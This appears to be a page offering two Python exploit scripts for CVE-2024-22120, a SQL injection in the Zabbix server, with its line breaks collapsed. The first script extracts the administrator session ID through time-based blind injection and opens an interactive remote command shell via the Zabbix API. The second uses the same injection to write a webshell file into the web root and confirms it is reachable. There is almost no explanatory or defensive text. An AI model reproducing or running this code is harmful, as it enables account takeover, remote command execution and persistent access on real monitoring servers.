CVE-2024-22120 | Zabbix服务器sql注入漏洞

import jsonimport argparseimport requestsfrom pwn import *from datetime import datetime
def SendMessage(ip, port, sid, hostid, injection):    context.log_level = "CRITICAL"    zbx_header = "ZBXDx01".encode()    message = {        "request": "command",        "sid": sid,        "scriptid": "2",        "clientip": "' + " + injection + "+ '",        "hostid": hostid    }    message_json = json.dumps(message)    message_length = struct.pack('<q', len(message_json))    message = zbx_header + message_length + message_json.encode()    r = remote(ip, port, level="CRITICAL")    r.send(message)    r.recv(1024)    r.close()
def ExtractAdminSessionId(ip, port, sid, hostid, time_false, time_true):    session_id = ""    token_length = 32    for i in range(1, token_length+1):        for c in string.digits + "abcdef":            before_query = datetime.now().timestamp()            query = "(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)            SendMessage(ip, port, sid, hostid, query)            after_query = datetime.now().timestamp()            if time_true > (after_query-before_query) > time_false:                continue            else:                session_id += c                print("(+) session_id=%s" % session_id, flush=True)                break    return session_id
def GenerateRandomString(length):    characters = string.ascii_letters + string.digits    return "".join(random.choices(characters, k=length))
def CreateScript(url, headers, admin_sessionid, cmd):    name = GenerateRandomString(8)    payload = {        "jsonrpc": "2.0",        "method": "script.create",        "params": {            "name": name,            "command": "" + cmd + "",            "type": 0,            "execute_on": 2,            "scope": 2        },        "auth": admin_sessionid,        "id": 0,    }    resp = requests.post(url, data=json.dumps(payload), headers=headers)    return json.loads(resp.text)["result"]["scriptids"][0]
def UpdateScript(url, headers, admin_sessionid, cmd, scriptid):    payload = {        "jsonrpc": "2.0",        "method": "script.update",        "params": {            "scriptid": scriptid,            "command": "" + cmd + ""        },        "auth": admin_sessionid,        "id": 0,    }    requests.post(url, data=json.dumps(payload), headers=headers)
def DeleteScript(url, headers, admin_sessionid, scriptid):    payload = {        "jsonrpc": "2.0",        "method": "script.delete",        "params": [scriptid],        "auth": admin_sessionid,        "id": 0,    }    resp = requests.post(url, data=json.dumps(payload), headers=headers)    if resp.status_code == 200 and json.loads(resp.text)["result"]["scriptids"] == scriptid:        return True    else:        return False
def RceExploit(ip, hostid, admin_sessionid):    url = f"http://{ip}/api_jsonrpc.php"    headers = {        "content-type": "application/json",        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"    }    scriptid = CreateScript(url, headers, admin_sessionid, "whoami")    while True:        cmd = input('33[41m[zabbix_cmd]>>: 33[0m ')        if cmd == "":            print("Result of last command:")        elif cmd == "quit":            DeleteScript(url, headers, admin_sessionid, scriptid)            break        UpdateScript(url, headers, admin_sessionid, cmd, scriptid)        payload = {            "jsonrpc": "2.0",            "method": "script.execute",            "params": {                "scriptid": scriptid,                "hostid": hostid            },            "auth": admin_sessionid,            "id": 0,        }        cmd_exe = requests.post(url, data=json.dumps(payload), headers=headers)        cmd_exe_json = cmd_exe.json()        if "error" not in cmd_exe.text:            print(cmd_exe_json["result"]["value"])        else:            print(cmd_exe_json["error"]["data"])
if __name__ == "__main__":    if __name__ == "__main__":        parser = argparse.ArgumentParser(description="CVE-2024-22120-RCE")        parser.add_argument("--false_time",                            help="Time to sleep in case of wrong guess(make it smaller than true time, default=1)",                            default="1")        parser.add_argument("--true_time",                            help="Time to sleep in case of right guess(make it bigger than false time, default=10)",                            default="10")        parser.add_argument("--ip", help="Zabbix server IP")        parser.add_argument("--port", help="Zabbix server port(default=10051)", default="10051")        parser.add_argument("--sid", help="Session ID of low privileged user")        parser.add_argument("--hostid", help="hostid of any host accessible to user with defined sid")        args = parser.parse_args()        admin_sessionid = ExtractAdminSessionId(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))        RceExploit(args.ip, args.hostid, admin_sessionid)

import jsonimport argparseimport requestsfrom pwn import *from datetime import datetime
def SendMessage(ip, port, sid, hostid, injection):    context.log_level = "CRITICAL"    zbx_header = "ZBXDx01".encode()    message = {        "request": "command",        "sid": sid,        "scriptid": "1",        "clientip": "' + " + injection + "+ '",        "hostid": hostid    }    message_json = json.dumps(message)    message_length = struct.pack('<q', len(message_json))    message = zbx_header + message_length + message_json.encode()    r = remote(ip, port, level="CRITICAL")    r.send(message)    r.recv(1024)    r.close()
def ExtractAdminSessionId(ip, port, sid, hostid, time_false, time_true):    session_id = ""    token_length = 32    for i in range(1, token_length+1):        for c in string.digits + "abcdef":            before_query = datetime.now().timestamp()            query = "(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)            SendMessage(ip, port, sid, hostid, query)            after_query = datetime.now().timestamp()            if time_true > (after_query-before_query) > time_false:                continue            else:                session_id += c                print("(+) session_id=%s" % session_id, flush=True)                break    return session_id
def ExecuteCommand(url, auth, cmd, hostid):    headers = {        "content-type": "application/json",        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"    }    payload = {        "jsonrpc": "2.0",        "method": "script.update",        "params": {            "scriptid": "2",            "command": "" + cmd + ""        },        "auth": auth['result'],        "id": 0,    }    requests.post(url, data=json.dumps(payload), headers=headers)    payload = {        "jsonrpc": "2.0",        "method": "script.execute",        "params": {            "scriptid": "2",            "hostid": "" + hostid + ""        },        "auth": auth['result'],        "id": 0,    }    cmd_exe = requests.post(url, data=json.dumps(payload), headers=headers)    cmd_exe_json = cmd_exe.json()    if "error" not in cmd_exe.text:        return cmd_exe_json["result"]["value"]    else:        return cmd_exe_json["error"]["data"]
def CheckWebshell(url):    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"    }    resp = requests.get(url, headers=headers, timeout=10)    if resp.status_code == 200:        return True    else:        return False
def EchoWebshell(ip, hostid, sessionid, shell_content, shell_name):    cmd = f"echo '{shell_content}' | base64 -d > /usr/share/zabbix/{shell_name}"    url = f"http://{ip}/api_jsonrpc.php"    shell_url = f"http://{ip}/{shell_name}"    auth = json.loads('{"jsonrpc": "2.0", "result": "' + sessionid + '", "id": 0}')    print(ExecuteCommand(url, auth, cmd, hostid))    if CheckWebshell(shell_url):        print(f"webshell url: {shell_url}")    else:        print("error in write webshell")

if __name__ == "__main__":    parser = argparse.ArgumentParser(description="CVE-2024-22120-Webshell")    parser.add_argument("--false_time",                        help="Time to sleep in case of wrong guess(make it smaller than true time, default=1)",                        default="1")    parser.add_argument("--true_time",                        help="Time to sleep in case of right guess(make it bigger than false time, default=10)",                        default="10")    parser.add_argument("--ip", help="Zabbix server IP", required=True)    parser.add_argument("--port", help="Zabbix server port(default=10051)", default="10051")    parser.add_argument("--sid", help="Session ID of low privileged user")    parser.add_argument("--aid", help="Session ID of Administrator privileged user")    parser.add_argument("--hostid", help="hostid of any host accessible to user with defined sid", required=True)    parser.add_argument("--file", help="shell file path, eg:shell.php", required=True)    args = parser.parse_args()    if not args.aid:        if not args.sid:            print("need --sid")            sys.exit(0)        admin_sessionid = ExtractAdminSessionId(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time),                                            int(args.true_time))    else:        admin_sessionid = args.aid    with open(args.file, "r", encoding="utf-8") as f:        shell_content = base64.b64encode(f.read().encode("utf-8")).decode("utf-8")        f.close()    EchoWebshell(args.ip, args.hostid, admin_sessionid, shell_content, os.path.basename(args.file))